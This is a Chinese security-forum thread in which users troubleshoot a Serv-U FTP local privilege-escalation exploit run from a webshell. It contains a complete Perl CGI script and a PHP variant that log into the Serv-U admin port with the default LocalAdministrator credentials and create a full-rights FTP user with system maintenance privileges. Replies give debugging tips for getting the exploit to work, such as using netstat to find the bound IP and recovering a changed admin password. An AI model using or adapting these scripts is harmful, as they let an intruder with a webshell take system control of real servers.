发新话题
打印

[讨论]关于CGI版本的SERV-U的提权问题

[讨论]关于CGI版本的SERV-U的提权问题

议题作者:test8
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

代码来自黑防 代码作者Andyower
问题起因:本机运行代码后出现如下错误提示

220 Serv-U FTP Server v6.1 for WinSock ready...
331 User name okay, need password.
530 Not logged in. 530 Not logged in.
530 Not logged in. 530 Not logged in.
530 Not logged in. 530 Not logged in.
530 Not logged in.

说密码错误 不给登陆 但是使用代码中的账号和密码 登陆本机43958端口却有可以登陆 不知原因为何
相关代码如下:
复制内容到剪贴板
代码:
#!/usr/bin/perl
use IO::Socket;

binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);

$addr = "127.0.0.1";
$ftpport = 21;
$adminport = 43958;
$adminuser = "LocalAdministrator";
$adminpass = '#l@$ak#.lk;0@P';
$user = "Andyower";
$password = "haika";
$homedir = 'C:\\';
$dir = 'C:\\WINNT\\System32\\';



use IO::Socket::INET;

$sock  = IO::Socket::INET->new("127.0.0.1:$adminport") || die "fail";

print "Andyower制作<br><br>";

print $sock "USER $adminuser\r\n";
sleep (1);
print $sock "PASS $adminpass\r\n";
sleep(1);
print $sock "SITE MAINTENANCE\r\n";
sleep(1);
print $sock "-SETUSERSETUP\r\n";
print $sock "-IP=".$addr."\r\n";
print $sock "-PortNo=".$ftpport."\r\n";
print $sock "-User=".$user."\r\n";
print $sock "-Password=".$password."\r\n";
print $sock "-HomeDir=".$homedir."\r\n";
print $sock "-LoginMesFile=\r\n";
print $sock "-Disable=0\r\n";
print $sock "-RelPaths=0\r\n";
print $sock "-NeedSecure=0\r\n";
print $sock "-HideHidden=0\r\n";
print $sock "-AlwaysAllowLogin=0\r\n";
print $sock "-ChangePassword=1\r\n";
print $sock "-QuotaEnable=0\r\n";
print $sock "-MaxUsersLoginPerIP=-1\r\n";
print $sock "-SpeedLimitUp=-1\r\n";
print $sock "-SpeedLimitDown=-1\r\n";
print $sock "-MaxNrUsers=-1\r\n";
print $sock "-IdleTimeOut=600\r\n";
print $sock "-SessionTimeOut=-1\r\n";
print $sock "-Expire=0\r\n";
print $sock "-RatioUp=1\r\n";
print $sock "-RatioDown=1\r\n";
print $sock "-RatiosCredit=0\r\n";
print $sock "-QuotaCurrent=0\r\n";
print $sock "-QuotaMaximum=0\r\n";
print $sock "-Maintenance=System\r\n";
print $sock "-PasswordType=Regular\r\n";
print $sock "-Ratios=None\r\n";
print $sock " Access=".$homedir."|RWAMELCDP\r\n";
print $sock "QUIT\r\n";



@ret=<$sock>;
print "@ret";

close(STDERR);
close(STDOUT);
exit;

TOP

简单的问题,他修改了SERV-U中的帐号或者密码,你去SERV-U的安装目录copy他的主程序,用16进制编辑器打开,找到localadministrator的地址,觉得难找的话,先去下载一个同样版本的,查看正常版本时候的地址,找到修改后版本的地址,那个就是帐号和密码了,在源代码中修改一下就OK了!
成功的男人白天瞎JB忙,晚上JB瞎忙;失败的男人白天没啥鸟事,晚上鸟没啥事。

TOP

还有,你在本机当然能登陆,因为你安装后没改帐号和密码,YOU 明白了没!
成功的男人白天瞎JB忙,晚上JB瞎忙;失败的男人白天没啥鸟事,晚上鸟没啥事。

TOP

楼上的先做下测试再发表意见 远程主机密码默认的 有EXE运行权限 用网上的提权工具随便提权 我只是不清楚为什么这段代码会报出密码错误来

TOP

这个cgi的serv-u没有什么不好的地方,代码是对的,在serv-u配置文件里有个Localpassword的项不知道你看了没有     他们把管理员密码前面加了两位的随机数字.之后再md5加密,那两位随机的数字在配置文件里面有储存~

TOP

测试了再说吧。我好象已经遇到这样的问题了。。。4楼没看清问题就说,
楼主说了。用其他工具,比如suu.exe,是可以成功执行的,说明Localpassword这项是没设密码的。但用suu.cgi就是老说密码错误

TOP

最近我在外地有点事情.所以很少上啦.
不好意思哦.现在才回复
遇到这样的问题.很可能是因为版本新,导致格式错误吧..哈哈.虽然我是作者.但是我是按照我非我的php版本的修改的..不好意思哦...本人也不是很清楚...抓我非我来问..他一定知道..责任在他那..嘎嘎..

TOP

我也遇到相似的问题,服务器是2003的,装了SERV-U6.0,本地默认管理员帐号和密码都没变,端口也是43958,但是在WEBSHELL里执行的时候总是提示不能登陆,换了PHP和CGI版本的提权都不行,都是提示没登陆,哪位大哥知道的,解释一下,谢谢.

TOP

我来说明一下吧..最近很久没在网上,刚看到这个帖子,对不住了..

我的ServuExp当时写过两个版本,1.0和1.5,原因就是1.0版本犯了andyower这个代码的错误..(表骂我,就事论事哈).导致了大部分的servu不能正常exp.
我当年写代码的时候是本地测试的.所以在安装servu的时候把默认的ftp域的ip定义为127.0.0.1了.于是servu在bind的时候,就只在127.0.0.1这个ip上bind 21端口.
以上都没问题.问题是:servu在判断一台服务器上所具有的ftp域的时候靠的是ip.所以当我想在这个域上添加一个用户的时候,必须把这个域绑定的ip提交给他.
复制内容到剪贴板
代码:
print $sock "-IP=".$addr."\r\n"; #就是这一句提交ip
而这个ip由于是开始时管理员自己定义的,所以是可变的.(通常是0.0.0.0,他的公网ip,或者内网ip)这就是为什么最早出来的exp是通过新建立一个域,再在这个域上添加管理用户执行命令这样一个复杂的方式的原因.而我在1.0版本的时候很贪心,想就在原有域上添加用户执行操作,却犯了和Andyower的代码一样的错误,把这个ip赋值为了127.0.0.1.没有根据实际情况进行修改,当然不行
再来看我1.5版本里的代码:
复制内容到剪贴板
代码:
//变量初始化
$addr = &#39;0.0.0.0&#39;;

//有改变则赋值
if ($_GET){
   $addr = $_GET[&#39;addr&#39;] ;  //这里我根据实际情况让exp的使用者提交具体域绑定的ip,可以在webshell中通过使用netstat -an查看
   $ftpport = $_GET[&#39;ftpport&#39;] ;
   $adminport = $_GET[&#39;adminport&#39;] ;
   $adminuser = $_GET[&#39;adminuser&#39;] ;
   $adminpass = $_GET[&#39;adminpass&#39;] ;
   $user = $_GET[&#39;user&#39;] ;
   $password = $_GET[&#39;password&#39;] ;
   $homedir = $_GET[&#39;homedir&#39;] ;
   if ($_GET[&#39;dir&#39;]){
      $dir = $_GET[&#39;dir&#39;] ;
   }
}

//添加用户主函数定义
function up($addr,$ftpport,$adminport,$adminuser,$adminpass,$user,$password,$homedir){
    $fp = fsockopen ("127.0.0.1", $adminport, $errno, $errstr, 8);
    if (!$fp) {
      echo "$errstr ($errno)<br>\n";
      } else {
   fputs ($fp, "USER ".$adminuser."\r\n");
   sleep (1);
   fputs ($fp, "PASS ".$adminpass."\r\n");
   sleep (1);
   fputs ($fp, "SITE MAINTENANCE\r\n");
   sleep (1);
   fputs ($fp, "-SETUSERSETUP\r\n");
   [b]fputs ($fp, "-IP=".$addr."\r\n");[/b]
   fputs ($fp, "-PortNo=".$ftpport."\r\n");
   fputs ($fp, "-User=".$user."\r\n");
   fputs ($fp, "-Password=".$password."\r\n");
   fputs ($fp, "-HomeDir=".$homedir."\r\n");
   fputs ($fp, "-LoginMesFile=\r\n");
   fputs ($fp, "-Disable=0\r\n");
   fputs ($fp, "-RelPaths=0\r\n");
   fputs ($fp, "-NeedSecure=0\r\n");
   fputs ($fp, "-HideHidden=0\r\n");
   fputs ($fp, "-AlwaysAllowLogin=0\r\n");
   fputs ($fp, "-ChangePassword=1\r\n");
   fputs ($fp, "-QuotaEnable=0\r\n");
   fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");
   fputs ($fp, "-SpeedLimitUp=-1\r\n");
   fputs ($fp, "-SpeedLimitDown=-1\r\n");
   fputs ($fp, "-MaxNrUsers=-1\r\n");
   fputs ($fp, "-IdleTimeOut=600\r\n");
   fputs ($fp, "-SessionTimeOut=-1\r\n");
   fputs ($fp, "-Expire=0\r\n");
   fputs ($fp, "-RatioUp=1\r\n");
   fputs ($fp, "-RatioDown=1\r\n");
   fputs ($fp, "-RatiosCredit=0\r\n");
   fputs ($fp, "-QuotaCurrent=0\r\n");
   fputs ($fp, "-QuotaMaximum=0\r\n");
   fputs ($fp, "-Maintenance=System\r\n");
   fputs ($fp, "-PasswordType=Regular\r\n");
   fputs ($fp, "-Ratios=None\r\n");
   fputs ($fp, " Access=".$homedir."|RWAMELCDP\r\n");
   fputs ($fp, "QUIT\r\n");
   sleep (1);
   while (!feof($fp)) {
      echo fgets ($fp,128);
   }

}
}
这样就基本保证了通用性了
http://www.phpweblog.net/GaRY/

TOP

再仔细看了下,楼主遇到的问题和我上面所说的并不相同.汗下....
不过好歹上面的话说出了Andyower代码的问题.

对楼主的情况,出现这种提示的,一种可能是本地LocalAdministrator的密码已经更改.楼主请用nc 127.0.0.1 43958下试试用LocalAdministrator  #l@$ak#.lk;0@P能否登陆.如果能登陆...
第二种可能..  $adminpass = &#39;#l@$ak#.lk;0@P&#39;; 这句代码里的密码中的特殊字符被perl转义了.所以导致不能正常登陆..我当时写exp的时候也碰到过$被php转义了才发生不能登陆的问题...perl我并不熟悉,不知道是不是也是这个 问题.
http://www.phpweblog.net/GaRY/

TOP

发新话题